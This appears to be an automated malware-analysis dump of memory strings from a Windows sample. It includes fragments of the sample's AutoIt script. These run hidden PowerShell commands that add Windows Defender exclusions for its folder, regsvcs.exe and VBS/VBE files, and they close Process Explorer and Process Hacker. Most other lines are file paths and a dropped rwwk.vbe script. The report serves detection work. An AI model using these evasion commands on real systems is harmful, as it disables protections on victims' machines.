              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: func disabler()memstr_2a8ea626-9
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;if antivirus() = "windows defender" thenmemstr_fa38d97b-8
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;#requireadminmemstr_86727389-1
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " -command add-mppreference -exclusionpath " & @scriptdir, "", "", @sw_hide)memstr_19f39948-8
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionprocess 'regsvcs.exe'", "", "", @sw_hide)memstr_89fa61ae-9
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '.vbs'", "", "", @sw_hide)memstr_b3487ef0-6
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '.vbe'", "", "", @sw_hide)memstr_eacfe761-5
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '*.vbs'", "", "", @sw_hide)memstr_36fc4199-2
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shellexecute("powershell", " powershell -command add-mppreference -exclusionextension '*.vbe'", "", "", @sw_hide)memstr_6231fe89-4
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ;endifmemstr_1fb6247f-f
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: endfunc ;==>disablermemstr_16706596-7
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: func antianalysis()memstr_25251c00-e
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if winexists("process explorer") thenmemstr_73127eb8-4
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: winclose("process explorer")memstr_0927658d-7
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: processclose("procexp64.exe")memstr_4c41237f-7
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: processclose("procexp.exe")memstr_042d6b3e-c
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: if winexists("process hacker") thenmemstr_8f5b0803-9
              Source: mJIvCBk5vF.exe, 00000000.00000003.2140369723.00000000081FF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: winclose("process hacker")memstr_e343c1e0-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\windows\cachesmemstr_1b81884d-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: bb6ea983fc583c3d9d71280b69d603640f2ca6c42b888e894ef5636292eca27ekmemstr_2c44b47d-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 2e3be58e5cbbc0da093956b46a3905f11cf0f5bbf11987a8619e25f7261ee8bekmemstr_390a7679-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 8e2b37686cddbee6f708e889801985ac193a3d698ca463534d9f3c01784061fbmemstr_39c5fe13-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39188memstr_9f18e577-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nt authority\systemmemstr_e68a9788-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: usersfilesfoldermemstr_b2c92332-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39193memstr_52859f43-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39189memstr_d3354650-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-41818memstr_8c27d18e-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39190memstr_dbe3bd0e-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-42064gmemstr_ccd21fc6-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39191mmemstr_1059b2a5-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39195memstr_bcdf396e-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39187qmemstr_2999be5e-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hj(5w<memstr_6716c693-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39194]memstr_3dcac43d-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: }d"pnmemstr_8ca5b56d-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-391925memstr_e8c73671-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39185memstr_90ac29fc-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39186memstr_498d7e73-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39183memstr_d1a0084a-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39178memstr_953a4326-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39179memstr_40dd3332-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39180memstr_0df3e9bd-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39181memstr_ea45cc7d-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39182memstr_34ba0487-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @propsys.dll,-39184memstr_9922ddc5-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: desktopmemstr_c9678ac2-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: musicmemstr_47a5a3a0-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: unknownmemstr_7b67c53f-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: videommemstr_214b20a0-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: moviememstr_58fae826-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: unknownmemstr_a90af1b3-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programmemstr_de6ceea0-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: programmemstr_97c313a9-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: taskrememstr_a7cdc5a1-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: picturememstr_8582abb1-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: moviememstr_834f07ed-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: videomemstr_4510a9c9-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: videomemstr_a185bec1-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: picturememstr_038ee400-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: musicmemstr_4872c518-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: musicfmemstr_279e7a7e-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: profilekmemstr_c8806078-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appdata8memstr_90504553-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ho&pxo&pdo&p$o&pmemstr_15b8a601-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: xl&pho&pxo&pdo&p$o&pmemstr_cf826d60-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n&pxn&pdn&phn&p4n&p$n&pmemstr_d75b9e6d-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: m&plm&p\m&plm&p8m&p(m&pmemstr_43ef87e1-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: l&ppl&pmemstr_a3f32420-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [.shellclassinfomemstr_3e22ff4d-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21769memstr_4b4a406c-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: iconresource%systemroot%\system32\imageres.dll,-183memstr_22740e26-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{d3162b92-9365-467a-956b-92703aca08af}hmemstr_8696cca9-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\desktop.inibmemstr_0ec38c00-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.inimmemstr_457c72c5-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini_memstr_f46055ca-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ools\desktop.iniomemstr_2806d819-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\internet explorer\quick launch\user pinned\taskbar\desktop.inivmemstr_40c0c5dc-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\microsoft\windows\inetcachememstr_06af84e5-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\microsoft\windows\inetcookiesmemstr_807a2dbb-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: file:///c:/users/user/appdata/local/temp/rarsfx0/rwwk.vbememstr_2e681201-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\windows\recentmemstr_803f8f18-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menupmemstr_e4dbd030-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\windows\libraries2memstr_68ee000d-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\windows\start menu\programs\startupmemstr_b0f4da42-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /c:\p1memstr_70e8b2b4-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: usersmemstr_ec9fad2f-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: users<memstr_a5d117fb-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .usersmemstr_32a58f24-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: =9ncalrpc:[epmapper,security=impersonation dynamic false]memstr_0404bdb5-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: file:///c:/users/user/appdata/local/temp/rarsfx0/rwwk.vbe3memstr_1eb9858a-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\musicmemstr_f8e52bcb-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\usermemstr_70655414-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: dj&pt tmemstr_238fca71-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: &c:\windows\system32tmemstr_1f1c458a-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: known folder manager>memstr_40ba236d-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: engineermemstr_c4f222ae-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: engineerbmemstr_3682aec5-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .usermemstr_981ca406-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: desktop@memstr_28af955b-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .desktopmemstr_c9da30e9-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appdatamemstr_72a409b9-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: appdata@memstr_912e4799-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .appdatamemstr_627ae119-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: roamingmemstr_0bb9e5a1-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: roaming@memstr_2f8eba57-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .roamingmemstr_3191723b-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoftmemstr_dc9344d6-b
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoftdmemstr_daf71814-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .microsoftmemstr_f3ca2e13-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: windowsmemstr_2fefab3e-4
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: windows@memstr_5573fb21-0
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .windowsmemstr_f6044ede-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: librariesmemstr_2cba4152-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: librariesdmemstr_76bd452b-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .librariesmemstr_f6880313-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: sers\user\appdata\local\temp\rarsfx0\rwwk.vbevbmemstr_d7f6a459-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\administrative tools\desktop.inimemstr_eae4af26-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_lnewef_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}memstr_9de625d8-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: oysfx0ymemstr_567627e5-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\temp\rarsfx0memstr_c90584b0-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: directorymemstr_9a7cc851-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12688memstr_727aa8fc-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21779memstr_d2c8e164-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21770memstr_b953ecc9-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21791gmemstr_34fe6fce-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ::{59031a47-3f72-44a7-89c5-5595fe6b30ee}smemstr_5d71feb6-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\videos\desktop.inimemstr_527b2047-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12690kmemstr_7bdee906-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21798wmemstr_1001e3c2-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21790#memstr_ec3244da-d
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-12689/memstr_cca8a9c0-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %systemroot%\system32\imageres.dll,-1040;memstr_c1cf7b05-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\music\desktop.inimemstr_d63bb23b-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-9031memstr_cc621f25-3
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\programdata\microsoft\desktop.inimemstr_8225f2c6-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\windows\system32\windows.storage.dlllmemstr_5ce88ca8-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @%systemroot%\system32\shell32.dll,-21801memstr_6c21b7e3-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\desktop\desktop.inimemstr_34124d9b-a
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\links\desktop.iniymemstr_ddf0d50e-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\temp\rarsfx03memstr_3e4a1fca-e
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rwwk.vbememstr_9114c83a-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: * rwwk.vbebmemstr_c4ff6578-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: vrwwk.vbememstr_0e47d853-5
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\appdata\local\temp\rarsfx0mmemstr_8c06baa7-6
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\contacts\desktop.inixmemstr_c1723897-c
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\saved games\desktop.inigmemstr_e91a2ad4-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\documents\desktop.inirmemstr_ebb1d4cd-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\favorites\desktop.ini!memstr_cc596d7f-1
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\onedrive\desktop.ini,memstr_6040e118-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: c:\users\user\downloads\desktop.ini;memstr_875173ee-8
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{4234d49b-0245-4df3-b780-3893943456e1}memstr_cbb0b03e-2
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: s:ai(ra;iooici;;;;wd;("imageload",tu,0x0,0x01))memstr_4eaa2e13-7
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: shell:::{018d5c66-4533-4307-9b53-224de2ed1fe6}memstr_e910fed0-9
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: xc:\users\user\appdata\local\temp\rarsfx0memstr_fb953806-f
              Source: mJIvCBk5vF.exe, 00000000.00000002.2277737132.0000000003574000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: microsoft\windows photo gallery\original imagesmemstr_d3913f54-d
